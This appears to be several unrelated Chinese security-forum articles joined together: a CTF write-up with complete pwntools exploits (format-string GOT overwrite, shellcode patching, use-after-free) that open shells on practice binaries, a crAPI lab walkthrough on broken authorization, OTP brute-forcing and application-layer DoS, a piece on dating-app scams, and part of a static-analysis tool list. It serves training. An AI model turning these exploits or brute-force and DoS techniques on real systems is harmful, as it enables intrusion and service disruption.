aaaaaa-->0x3020
aaaaaa-->0x2020
aaaaaa-->0x1040
aaaaaa-->0x3040
aaaaaa-->0x30
aaaaaa-->0x1030
aaaaaa-->0x30
aaaaaa-->0x2020
aaaaaa-->0x2010
aaaaaa-->0x20
aaaaaa-->0x3020
aaaaaa-->0x1050
aaaaaa-->0x20
aaaaaa-->0x50
aaaaaa-->0x1010
aaaaaa-->0x1020
aaaaaa-->0x3050
aaaaaa-->0x1020
aaaaaa-->0x2040
aaaaaa-->0x40
aaaaaa-->0x40
aaaaaa-->0x10
aaaaaa-->0x1020
aaaaaa-->0x3040
aaaaaa-->0x30
aaaaaa-->0x2020
aaaaaa-->0x3020
aaaaaa-->0x30
aaaaaa-->0x40
aaaaaa-->0x1040
aaaaaa-->0x20
aaaaaa-->0x1030
aaaaaa-->0x1020
'''
这里会造成分配0x10，0x20，0x30,0x40,0x50,0x1020,0x1030等的栈空间，也就是会导致esp-这些数值之一
那我们要得出正常的栈分布情况的话，就需要在gdb调试里面把这些被减去的加回来（这里用0x20 做例子）
首先在`text:08048774 sub esp, eax`下个断点，设置set $eax=0x20
然后在printf函数下个断点，接着c一下继续运行
就可以看到正常的栈分布空间了：
0000| 0xffffcdec --> 0x804864b (<hardfmt+133>: add esp,0x10)
0004| 0xffffcdf0 --> 0x804a080 ("%43$p-%42$p-%30$p-%31$p\n")
0008| 0xffffcdf4 --> 0x804a080 ("%43$p-%42$p-%30$p-%31$p\n")//偏移1
0012| 0xffffcdf8 --> 0x1000
0016| 0xffffcdfc --> 0x1
0020| 0xffffce00 --> 0x5f8bfd11
0024| 0xffffce04 --> 0x804829c --> 0x62696c00 ('')
0028| 0xffffce08 --> 0xf7ffd918 --> 0x0
0032| 0xffffce0c --> 0x0
0036| 0xffffce10 --> 0xffffce4e --> 0x30804
0040| 0xffffce14 --> 0xf7e05018 --> 0x3eab
0044| 0xffffce18 --> 0xf7e5a21b (<__GI__IO_setbuffer+11>)
0048| 0xffffce1c --> 0x80485d2 (<hardfmt+12>)
0052| 0xffffce20 --> 0xf7fe77eb (<_dl_fixup+11>)
0056| 0xffffce24 --> 0x0
0060| 0xffffce28 --> 0xffffce00 --> 0x5f8bfd11
0064| 0xffffce2c --> 0x36a9a200
0068| 0xffffce30 --> 0xffffce98 --> 0x0
0072| 0xffffce34 --> 0x804a000 --> 0x8049f10 --> 0x1
0076| 0xffffce38 --> 0xffffce98 --> 0x0
0080| 0xffffce3c --> 0x804877b (<main+236>)
0084| 0xffffce40 --> 0x804a000 --> 0x8049f10 --> 0x1//leak_stack-0x10c
0088| 0xffffce44 --> 0x804a060 --> 0x5f8bfd11 //leak_stack-0x108
0092| 0xffffce48 --> 0xf7ed02ac (<__close_nocancel+18>)
0096| 0xffffce4c --> 0x804874a (<main+187>)
0100| 0xffffce50 --> 0x3
0104| 0xffffce54 --> 0x804a060 --> 0x5f8bfd11
0108| 0xffffce58 --> 0x4
0112| 0xffffce5c --> 0x80486a6 (<main+23>)
0116| 0xffffce60 --> 0x8000
0120| 0xffffce64 --> 0xf7fac000 --> 0x1b1db0
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31
0132| 0xffffce70 --> 0x1
0136| 0xffffce74 --> 0x0
0140| 0xffffce78 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0144| 0xffffce7c --> 0x3
0148| 0xffffce80 --> 0xba42216b
0152| 0xffffce84 --> 0x3fb24399
0156| 0xffffce88 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0160| 0xffffce8c --> 0x36a9a200
0164| 0xffffce90 --> 0xffffceb0 --> 0x1
0168| 0xffffce94 --> 0x0
0172| 0xffffce98 --> 0x0
0176| 0xffffce9c --> 0xf7e12637 (<__libc_start_main+247>)//偏移43，泄漏libc
0180| 0xffffcea0 --> 0xf7fac000 --> 0x1b1db0
0184| 0xffffcea4 --> 0xf7fac000 --> 0x1b1db0
0188| 0xffffcea8 --> 0x0
0192| 0xffffceac --> 0xf7e12637 (<__libc_start_main+247>)
0196| 0xffffceb0 --> 0x1
0200| 0xffffceb4 --> 0xffffcf44 --> 0xffffd150 ("./echo3")
0204| 0xffffceb8 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0208| 0xffffcebc --> 0x0
0212| 0xffffcec0 --> 0x0
0216| 0xffffcec4 --> 0x0
0220| 0xffffcec8 --> 0xf7fac000 --> 0x1b1db0
0224| 0xffffcecc --> 0xf7ffdc04 --> 0x0
0228| 0xffffced0 --> 0xf7ffd000 --> 0x23f3c
0232| 0xffffced4 --> 0x0
0236| 0xffffced8 --> 0xf7fac000 --> 0x1b1db0
0240| 0xffffcedc --> 0xf7fac000 --> 0x1b1db0
0244| 0xffffcee0 --> 0x0
0248| 0xffffcee4 --> 0x8c4d349
0252| 0xffffcee8 --> 0x35125d59
0256| 0xffffceec --> 0x0
0260| 0xffffcef0 --> 0x0
0264| 0xffffcef4 --> 0x0
0268| 0xffffcef8 --> 0x1
0272| 0xffffcefc --> 0x80484b0 (<_start>)
0276| 0xffffcf00 --> 0x0
0280| 0xffffcf04 --> 0xf7fee010 (<_dl_runtime_resolve+16>)
0284| 0xffffcf08 --> 0xf7fe8880 (<_dl_fini>)
0288| 0xffffcf0c --> 0x804a000 --> 0x8049f10 --> 0x1
0292| 0xffffcf10 --> 0x1
0296| 0xffffcf14 --> 0x80484b0 (<_start>)
--More--(75/100)
0300| 0xffffcf18 --> 0x0
0304| 0xffffcf1c --> 0x80484e2 (<_start+50>t)
0308| 0xffffcf20 --> 0x804868f (<main>)
0312| 0xffffcf24 --> 0x1
0316| 0xffffcf28 --> 0xffffcf44 --> 0xffffd150 ("./echo3")
0320| 0xffffcf2c --> 0x80487a0 (<__libc_csu_init>: push ebp)
0324| 0xffffcf30 --> 0x8048800 (<__libc_csu_fini>: repz ret)
0328| 0xffffcf34 --> 0xf7fe8880 (<_dl_fini>: push ebp)
0332| 0xffffcf38 --> 0xffffcf3c --> 0xf7ffd918 --> 0x0
0336| 0xffffcf3c --> 0xf7ffd918 --> 0x0
0340| 0xffffcf40 --> 0x1
0344| 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移85
0348| 0xffffcf48 --> 0x0
0352| 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移87,leak_stack
0356| 0xffffcf50 --> 0xffffd184 ("XDG_SESSION_ID=c1")
0360| 0xffffcf54 --> 0xffffd196 ("LC_IDENTIFICATION=zh_CN.UTF-8")
0364| 0xffffcf58 --> 0xffffd1b4 ("LC_TELEPHONE=zh_CN.UTF-8")
0368| 0xffffcf5c --> 0xffffd1cd ("DISPLAY=:0")
0372| 0xffffcf60 --> 0xffffd1d8 ("QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1")
0376| 0xffffcf64 --> 0xffffd1fb ("JOB=dbus")
0380| 0xffffcf68 --> 0xffffd204 ("GNOME_KEYRING_CONTROL=")
0384| 0xffffcf6c --> 0xffffd21b ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated")
0388| 0xffffcf70 --> 0xffffd247 ("DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path")
0392| 0xffffcf74 --> 0xffffd27a ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0396| 0xffffcf78 --> 0xffffd29b ("LOGNAME=zeref")
在这里，我们就看到了正常的栈分布情况，但是这种情况会随着你上面设置的eax的值不同而不同，上面我是用set
$eax=0x20作为例子的，如果你用其他的那么下面我用的偏移都会跟你的不一样
那么如果找到这一种情况呢？
我们就需要进行爆破，在上面的栈分布中可以看到：
`0176| 0xffffce9c --> 0xf7e12637 (<__libc_start_main+247>)`
那么如果栈分布里面出现了这样一个内容，就说明，这个栈的分布是我们想要的
爆破代码如下：
while True:
p = process('./echo3')
#p = remote('hackme.inndy.tw',7720)
payload = '%43$p#%30$p'
#43的偏移出就应该是__libc_start_main的位置，这个通过自己在gdb调试中测试出来
#注意，gdb调试的时候用的不是set $eax=0x20，那么偏移也会不同
p.sendline(payload)
data = p.recvuntil('#',drop = True)
if data[-3:] == '637':
break
p.close()
找到栈的分布后，我们就可以操作了
首先泄漏出栈的地址来，就在envir变量的位置就可以泄漏
接着我们发现栈里面有这些指向指针的指针：
0084| 0xffffce40 --> 0x804a000 --> 0x8049f10 --> 0x1//leak_stack-0x10c
0088| 0xffffce44 --> 0x804a060 --> 0x5f8bfd11 //leak_stack-0x108
....
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31
....
0344| 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移85
0348| 0xffffcf48 --> 0x0
0352| 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移87,leak_stack
于是我们就可以通过操作这些指针，实现间接的写，将printf的got改成system，然后发送“/bin/sh\x00”，实现getshell
具体分三步
第一：
将
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31
改成
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffce40//leak_stack-0x10c
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffce44//leak_stack-0x108
第二：
将
0344| 0xffffcf44 --> 0xffffce40 //偏移85
0348| 0xffffcf48 --> 0x0
0352| 0xffffcf4c --> 0xffffce44//偏移87,leak_stack
改成
0344| 0xffffcf44 --> 0xffffce40 -->printf_got//偏移85
0348| 0xffffcf48 --> 0x0
0352| 0xffffcf4c --> 0xffffce44 -->printf_got+2//偏移87,leak_stack
第三
将
0084| 0xffffce40 --> printf_got -->//leak_stack-0x10c
0088| 0xffffce44 --> printf_got+2 --> //leak_stack-0x108
改成：
0084| 0xffffce40 --> printf_got -->system+2 //leak_stack-0x10c
0088| 0xffffce44 --> printf_got+2 -->system //leak_stack-0x108
这个的核心就在于：
如果 A -> B ->C ，那么aaaa%A$n的作用是：将4赋值给C
理解了这个间接写的核心，就很容易理解上面的三次操作了
完整的exp:
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
#libc = ELF('./libc-2.23.so.i386')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./echo3')
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
while True:
p = process('./echo3')
#p = remote('hackme.inndy.tw',7720)
payload = '%43$p#%30$p'# %43$p-%42$p-%30$p-%31$p
p.sendline(payload)
data = p.recvuntil('#',drop = True)
if data[-3:] == '637':
break
p.close()
leak_libc = int(data,16) - 247
libc_base = leak_libc - libc.symbols['__libc_start_main']
libc.address = libc_base
log.info("libc address {}".format(hex(libc_base)))
system = libc.symbols['system']
printf_got = elf.got['printf']
leak_stack = int(p.recv().strip('\n'),16)
log.info("leak stack address{}".format(hex(leak_stack)))
stack1 = leak_stack - 0x10c
log.info("stack1 address{}".format(hex(stack1)))
stack2 = leak_stack - 0x108
log.info("stack2 address{}".format(hex(stack2)))
log.info("change stack")
payload1 = "%{}c%{}$hn".format(stack1 & 0xffff, 30)
payload1 += "%{}c%{}$hn".format(4, 31)
payload1 += '1111'
sl(payload1)
log.info("wirte printf_got into stack")
payload2 = "%{}c%{}$hn".format(printf_got & 0xffff, 85)
payload2 += "%{}c%{}$hn".format(2, 87)
payload2 += "2222"
ru("1111\n")
sl(payload2)
log.info("change printf got")
payload3 = "%{}c%{}$hhn".format(system>> 16 & 0xff, 20)
payload3 += "%{}c%{}$hn".format((system& 0xffff) - (system >> 16 & 0xff), 21)
payload3 += "3333"
ru("2222\n")
sl(payload3)
ru("3333\n")
sl("/bin/sh\x00")
p.interactive()
另外需要注意的是在本地打的时候就得连本地的libc，不然是打不通的，打远程的时候就用hackme上面的libc
# onepunch
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found****
NX: NX enabled****
PIE: No PIE (0x400000)
这题虽然不难，但题目还挺新颖的
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+8h] [rbp-18h]
int v5; // [rsp+Ch] [rbp-14h]
_BYTE *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?", 0LL);
v5 = __isoc99_scanf("%llx %d", &v6, &v4);//读入一个16进制数，和一个十进制数
if ( v5 != 2 )
return 0;
*v6 = v4;//往16进制数的地址写入十进制数
if ( *(_DWORD *)&v4 == 255 )
puts("No flag for you");
return 0;
}
也就是一个任意地址写的操作，由于只能输入一次，可实现的操作实在有限，但细细观察你会发现这个程序的text段居然是可写可执行的，这就意味着我们可以改代码的逻辑实现各种操作，相当于打patch做题
再看main函数的汇编：会发现，如果输入的十进制数不是255，会直接跳到0x000000000400773处
那么我们只需要在这里打patch，让他跳到main函数的开头，实现无限写入操作
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 mov rax, [rbp-10h]
.text:000000000040075A mov edx, [rbp-18h]
.text:000000000040075D mov [rax], dl
.text:000000000040075F mov eax, [rbp-18h]
.text:0000000000400762 cmp eax, 0FFh
.text:0000000000400767 jnz short loc_400773
.text:0000000000400769 mov edi, offset s ; "No flag for you"
.text:000000000040076E call _puts
.text:0000000000400773
.text:0000000000400773 loc_400773: ; CODE XREF: main+75↑j
.text:0000000000400773 mov eax, 0
.text:0000000000400778
.text:0000000000400778 loc_400778: ; CODE XREF: main+62↑j
.text:0000000000400778 mov rcx, [rbp-8]
.text:000000000040077C xor rcx, fs:28h
.text:0000000000400785 jz short locret_40078C
.text:0000000000400787 call ___stack_chk_fail
.text:000000000040078C ; ----------------------------------------------------------- .text:000000000040078C
.text:000000000040078C locret_40078C: ; CODE XREF: main+93↑j
.text:000000000040078C leave
.text:000000000040078D retn
.text:000000000040078D ; } // starts at 4006F2
.text:000000000040078D main endp
.text:000000000040078D
接着，就写入shellcode，最后再讲跳转改到shellcode的位置，就可以getshell了
exp如下：
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""#hackme.inndy.tw
if ip:
p = remote(ip,7718)
else:
p = process("./onepunch")#, aslr=0
elf = ELF("./onepunch")
libc = ELF("./libc-2.23.so.x86_64")
#libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
shell = 0x400790
ru("Where What?")
sl("0x400768")
sl("137")
shellcode = asm(shellcraft.sh())
shell_len = len(shellcode)
i=0
while i<shell_len:
ru("Where What?")
sl(str(hex(shell+i)))
sl(str(ord(shellcode[i])))
i+=1
ru("Where What?")
sl("0x400768")
sl("39")
getshell()
# raas
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found***
NX: NX enabled****
PIE: No PIE (0x8048000)
这题主要利用了uaf的漏洞，还有一些chunk空间复用的小技巧，由于是32位的堆题目，在查看内存空间分布的时候还挺不习惯的
这题的 数据结构是这样的：
struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};
由于存在函数指针，那我们只需要存储函数指针的地方改成我们想要的函数，如system函数，然后再配合写入参数sh，就可以getshell了
需要注意的是：由于是32位，只能是4字节的参数，因此只能用system(sh)或者system($0)
在创建和分配堆的时候：
int do_new()
{
int v1; // eax
signed int v2; // [esp+0h] [ebp-18h]
record *v3; // [esp+4h] [ebp-14h]
size_t size; // [esp+Ch] [ebp-Ch]
v2 = ask("Index");
if ( v2 < 0 || v2 > 16 )
return puts("Out of index!");
if ( records[v2] )
return printf("Index #%d is used!\n", v2);
records[v2] = (int)malloc(0xCu);
v3 = (record *)records[v2];
v3->pppp = rec_int_print;
v3->ffff = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
v1 = ask("Type");
if ( v1 == 1 )
{
v3->u = ask("Value");
}
else
{
if ( v1 != 2 )
return puts("Invalid type!");
size = ask("Length");
if ( size > 0x400 )
return puts("Length too long, please buy record service premium to store longer record!");
v3->u = (uuu)malloc(size);
printf("Value > ");
fgets((char *)v3->u, size, _bss_start);
v3->pppp = rec_str_print;
v3->ffff = rec_str_free;
}
puts("Okey, we got your data. Here is it:");
return ((int (__cdecl *)(record *))v3->pppp)(v3);
}
可知如果record的value是一个int，那么就由一个chunk存储
如果是string的话，将会再次创建一个chunk进行存储
利用的思路是：
* 创建chunk0（int）
* 创建chunk1（string）
* free chunk1、chunk0
* 使得相对应的chunk进入fastbin
* 再次分配chunk2（string）
* 由于fastbin的分配机制，会导致chunk2的内容写到chunk1的地方
* 这时写入chunk2的内容为system和sh
* delete chunk1即调用了system(sh)
exp:
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")
ip ="hackme.inndy.tw"
if ip:
p = remote(ip,7719)
else:
p = process("./raas")#, aslr=0
elf = ELF("./raas")
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#------------------------------------- def new(idx,Type,Length,Value):
ru("Act > ")
sl("1")
ru("Index > ")
sl(str(idx))
ru("Type > ")
sl(str(Type))
if Length!=0:
ru("Length > ")
sl(str(Length))
ru("Value > ")
sl(Value)
def delete(idx):
ru("Act > ")
sl("2")
ru("Index > ")
sl(str(idx))
def show(idx):
ru("Act > ")
sl("3")
ru("Index > ")
sl(str(idx))
system = elf.plt["system"]
new(0,1,0,"1")
new(1,2,16,"aaaa")
delete(1)
delete(0)
new(2,2,12,"$0\0\0"+p32(system))
delete(1)
getshell() | 社区文章 |
# 1.概述
本文主要介绍api安全漏洞相关基础知识介绍和靶场crapi的环境搭建以及前七题的解题过程。
crapi是一个供车主注册和管理车辆的平台，是一个易受攻击的应用程序，crapi是一个用于学习和实践api安全性的api漏洞的集合。在这里可以遇到api安全的应用程序中的常见漏洞，基本包括[OWASP
API TOP 10](https://owasp.org/www-project-api-security/ "OWASP API TOP
10")的漏洞。比如失效的对象级别授权漏洞，失效的用户身份验证漏洞，过多的数据暴露漏洞，速率限制漏洞，失效的功能级别授权，批量分配，SSRF，注入以及未经身份验证的访问漏洞。
GitHub地址：<https://github.com/OWASP/crAPI>
# 2\. API靶场crapi
## 2.1 环境搭建
靶场环境搭建文档：<https://github.com/OWASP/crAPI/blob/develop/docs/setup.md>
根据GitHub文档可知配置环境步骤为：
● curl -o docker-compose.yml
<https://raw.githubusercontent.com/OWASP/crAPI/develop/deploy/docker/docker-compose.yml>
● docker-compose pull
● docker-compose -f docker-compose.yml --compatibility up -d
全都执行完毕后访问<http://localhost:8888> 即可：
环境配置成功即可进行测试
注：docker-compose最好使用最新版本，低版本会报错导致环境配置失败
## 2.2 解题
解题提示文档：<https://github.com/OWASP/crAPI/blob/develop/docs/challenges.md>
### 2.2.1 失效的对象级别授权漏洞
挑战1和挑战2为失效的对象级别授权漏洞
攻击者可以在发送的请求中改变对象的ID来攻击存在“失效的对象级授权”
漏洞的API。这将导致敏感数据的未授权访问。该问题在基于API的应用中非常普遍，因为服务器通常不会完整地跟踪用户的状态，而是依赖用户请求参数中的对象ID来决定访问哪些目标对象。
Challenge 1 - Access details of another user’s vehicle
访问其他用户车辆的详细信息
首先在crapi界面找到接受车辆guid的api端点，
/identity/api/v2/vehicle/125e190f-94de-46ef-8d7d-b08696260183/location
找到泄露其他用户guid的api端点，
/community/api/v2/community/posts/recent
获取到了其他用户的guid值后就可以通过/identity/api/v2/vehicle/125e190f-94de-46ef-8d7d-b08696260183/location来获取用户的个人信息。
替换后进行重放测试：
成功访问其他用户车辆的详细信息
Challenge 2 - Access mechanic reports of other users
访问其他用户的机械报告
点击"Contact Mechanic"联系技工按钮，提交报告
抓包获取报告链接
修改ID值访问其他维修报告
成功访问其他用户的机械报告
### 2.2.2 失效的用户身份验证
挑战3是失效的用户身份验证漏洞
由于系统的身份验证机制的实现存在漏洞，使得攻击者能够破坏身份验证令牌或利用漏洞盗用其他用户的身份。损害API的整体安全性。攻击者可以访问用户在系统中的账户，读取他们的个人数据，并以他们的身份执行敏感操作，例如转账和发送私人消息等。
Challenge 3 - Reset the password of a different user
重置其他用户的密码
首先找到另一个用户的电子邮箱地址：[email protected]
/community/api/v2/community/posts/recent
在首页点击忘记密码
点击后会针对登陆邮箱发送重置密码的OTP
OTP是指一次性密码，是指电脑系统或其他数字设备上只能使用一次的密码，有效期为只有一次登录会话或交易。
通过抓包发现api /identity/api/auth/v3/check-otp 是检查otp的api端点
利用burp进行暴力破解，正确输入OTP后输入密码重置成功
### 2.2.3 过多的数据暴露
挑战4和挑战5属于过多的数据暴露漏洞
利用过度暴露的数据十分容易，通常通过嗅探流量分析API的响应获取不应该返回给用户的多余敏感信息。过度的数据暴露通常导致敏感数据的泄露。
Challenge 4 - Find an API endpoint that leaks sensitive information of other
users
找到泄露其他用户敏感信息的 API 端点
在页面Community页面可以看到其他用户
api端点 /community/api/v2/community/posts/recent
Challenge 5 - Find an API endpoint that leaks an internal property of a video
找到泄露视频内部属性的 API 端点
点击右上角头像可以进入个人信息页面，发现可以上传视频
发现api端点 /identity/api/v2/user/videos/29
### 2.2.4 速率限制
挑战6为速率限制漏洞
API通常不会对客户端/用户可以请求的资源的大小或数量施加任何限制。这不仅会影响API服务器的性能，导致拒绝服务，而且还会为暴力破解等身份验证缺陷敞开大门。
漏洞可能导致DoS，造成API无响应或不可用。
Challenge 6 - Perform a layer 7 DoS using ‘contact mechanic’ featureS
第 7 层是指互联网的 7 层 OSI
模型的顶层，也称为“应用程序层”。这是数据处理的顶层，位于用户与之交互的软件应用程序的表面之下或幕后。例如，用于加载网页的 HTTP 请求和响应是第 7
层事件。在这一层面上发生的 DDoS 攻击称为第 7 层攻击或应用程序层攻击。
分布式拒绝服务（DDoS）攻击是通过大规模互联网流量淹没目标服务器或其周边基础设施，以破坏目标服务器、服务或网络正常流量的恶意行为。
DDoS 攻击利用多台受损计算机系统作为攻击流量来源以达到攻击效果。利用的机器可以包括计算机，也可以包括其他联网资源（如 IoT 设备）。
总之就是短时间通过大量的请求访问占用服务器的资源从而导致服务器不能对正常的流量做出响应。
找到api将repeat_request_if_failed改成ture，将number_of_repeats改成一个很大的数字，重放测试实现DDoS攻击。
### 2.2.5 失效的功能级别授权
挑战7为失效的功能级别授权漏洞
攻击者利用漏洞将合法的API调用发送给他们不应访问的API 端点。这些端点可能会暴露给匿名用户或常规的非特
权用户。由于API更加结构化，并且更易于预测访问API的方式，因此更容易发现API中的这些缺陷（如，将HTTP方法从GET替换为PUT，或将URL中的
“user”字符串更改为“admin”）。
Challenge 7 - Delete a video of another user
删除另一个用户的视频
首先通过更改视频名字发现api端点
/identity/api/v2/user/videos/30
利用burp的intruder模块来判断是否可以使用其他方法进行利用
添加好方法后进行暴力破解
发现delete方法可以使用，下面只需要修改后面的链接就可以了
看题目发现是找到一个admin端点进行删除视频
那将原本的user换成admin试一下
视频删除成功！ | 社区文章 |
# 我下载了20多款交友软件，看到了很多.......
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
对于情侣来说任何节日都可以过成情人节，对应的，一到过节，单身狗就是被拉出来虐的，这不，七夕刚过，中秋、国庆马上就又要来了。
那么，有没有快速脱单的捷径可以走呢？在苹果商店里面，我们可以看到玲琅满目的社交软件，其中打着同城交友、激情社交旗号的软件异常火爆。少则上千条评论，多则上万条评论，且清一色的好评。
今天，妮美就帮广大的单身朋友们去鉴定一下这些交友app。
持着样本必须量大且广的研究态度，妮美前后大概下载了22个app样本。不得不说实在是大开眼界，在下文就来给大家做个盘点。
## 01 毫无诚意的付费app
社交栏推荐的第一个app是款付费软件，收费1块钱，上面标注着醒目的“未成年人请勿下载”。
既然是榜首，肯定是有原因的。我猜测，产品经理一定是通过1块钱设置门槛，拦截没有诚意的求偶朋友，再加上“未成年人勿下载”的限制，进一步的明确用户的年龄阶段，这个app里面一定都是真心找对象的小哥哥小姐姐吧。一块钱还是出得起，下载。
可当我满怀期待的打开app，以为会是满屏的适婚男女照片时，结果……却是成人用品商店。说好的交友app呢，是我对社交两个字有什么误会吗？
打着社交幌子的骗子，付费社交app真是毫无诚意可言，卒。
## 02 同城交友app套路多
再也不相信付费交友软件了，于是随意打开一个免费榜单上的同城交友app，开始注册。妮美虽然是个女生，但奈何身边拜托我留意妹子的男性朋友太多，因此特意将性别设置为“男”，希望能帮这些朋友开辟一个脱单快速通道。
刚完成注册，立马就收到一个名为“野性小奶猫”的女生发来两条消息“我有36E哦，要来跟我聊聊吗？”“…我太直接了…想看的都能看哈”
一丝害羞闪过，我镇定的回复了一个高深莫测的表情，紧接着那女生又回复我，“哥哥你给我发视频聊天邀请，什么都能看哦”。
继续跟这个女生聊天，消息刚发，便弹出一个弹窗，提示要购买“邮票”，才能继续聊天，否则，就要“继续单身”。而邮票最低付费68元。想想银行卡里的两位数储蓄，我有所犹豫，退出这个聊天窗口。
这个app活跃度非常高，这边妹子还在焦急的追问我，那边又有3个到6个女用户给我发来了视频邀请，但是接视频必须要充会员。
到底是充还是不充，现在这个时代，宅文化盛行，男性普遍比较内敛，只有一方主动才有脱单可能，68块钱，为了我的朋友们能获得幸福也是值得的，妮美思虑再三，决定充值。
一番充值操作后，继续回复之前那个妹子，“还在吗”。
…….
沉默，沉默是今晚的康桥。是的，再也没有一个人回复我了。
是这些女生突然性格大变吗?只有我知道，前后唯一的区别就是 我！充！值！了！
原来，这些女生全部都是系统设置好的聊天机器人。后面又试了好几个同城交友软件，都是一样的套路。
用机器人来骗取充值费用，罔顾单身狗的一片真心，同城交友app，卒。
## 03 知名约P软件的骗局
这些app毕竟体量太小，所以才免不了出各种幺蛾子，这一次我把目光放在了国内知名的两字重叠约P软件上。这次我的身份是女。
一番左滑右滑之后，既然和一个小帅哥“互相喜欢”了。加了微信后，从他朋友圈画风看来似乎是个阳光帅气多金的富二代，特斯拉在他眼里只是个普通电动车而已。
看来这类网站还挺靠谱，至少没有一上来聊天就要交钱，还是说对针对女生的套路没那么多？
可还没跟他聊两天，帅哥的朋友圈在发了一则创业内容后，突然画风一变，变成了一个卖项链的微商。
类似的还有卖化妆品、护肤品的套路，原来这些人都是通过社交软件加微信好友，来给自己的微商生意做导流。
由于披着帅气多金的外包装，很多涉世未深的小姑娘很容易上当，买回大量伪劣次品，被坑去了钱财。看来，在社交软件被骗这件事情上，男女一视同仁。
## 04 婚恋网站也有坑
交友软件套路如此之深，可能是因为大家比较轻视恋爱关系。但婚姻是大事，婚恋相亲网站又如何呢？我又体验了一个知名婚恋网站。
不愧是是大厂，从注册信息就可以看出非常专业，从学历，到婚史一应俱全，还贴心的准备了交友宣言。
可令我吃惊的是，我随便编造了一些信息，便立即通过验证，软件既然没有审核。
但数据显示，中老年父母是这些网站的常客，而成年人注册这类网站时，都是对婚姻处于极度渴求的状态，普遍判断力会比较薄弱。这不正给了那些感情骗子可趁之机吗？
该平台还提供定制化的VIP服务，我电话联系了网站红娘，提到自己学历只有高中毕业，能否升级为本科毕业，对方回复没有问题。VIP审核机制如同虚设。
在网络上随便搜索该平台新闻，各种案件证实了我的猜想：
2017年，一名北京男子在婚恋网站诈骗，一年之内连骗6名企业女高管，诈骗金额近600万元。
在某法律检索平台上搜索该网站，共有法院判决1711起，其中刑事516起，民事924起。
在2017年，更有Wephone开发者苏享茂跳楼自杀震惊了整个科技圈。自杀前，苏享茂发长文痛诉自己被前妻翟欣欣“逼死”始末，并表明两人通过婚恋网站的VIP服务相识，网站提供的女方信息为未婚，实际上却有过不止一段婚姻……
不难看出，婚恋网站不仅榨取钱财，更伤害了渴望结婚人的心。
现在你要问我有哪个交友app推荐吗？我的答案是，一个没有。交友软件交的不是男女朋友，交的大概是钱。
在此也告诫各位想要尽早脱单的朋友，脱单不要想走捷径，感情是要慢慢经营，水到渠成的。万一身边确实没资源，需要借助这些交友网站时，也请擦亮双眼，提高警惕，以免落入骗子的圈套。
欢迎关注公众号“极验”，和作者一起探讨更多安全问题。 | 社区文章 |
参考来源：[Github](https://github.com/mre/awesome-static-analysis/edit/master/README.md)，FB小编鸢尾编译
静态程序分析（Static program
analysis）是指在不运行计算机程序的条件下，进行程序分析的方法。有些程序分析需要在程序运行时才能进行，这种程序分析称为动态程序分析。大部分的静态程序分析的对象是针对特定版本的源代码，也有些静态程序分析的对象是目标代码。静态程序分析一词多半是指配合静态程序分析工具进行的分析，人工进行的分析一般称为程序理解或代码审查。
— 维基百科
这是一个静态分析工具大集合，其中[OSS]代表开源软件，[PROPRIETARY]代表付费软件，欢迎各位补充。
## C/C++
[CMetrics](https://github.com/MetricsGrimoire/CMetrics) [OSS] – 测算C文件的大小及复杂性
[cqmetrics](https://github.com/dspinellis/cqmetrics) [OSS] – C代码的质量度量工具
[clang-tidy](http://clang.llvm.org/extra/clang-tidy/) [OSS] – clang静态分析
[cppcheck](http://cppcheck/) [OSS] – C/C++代码静态分析
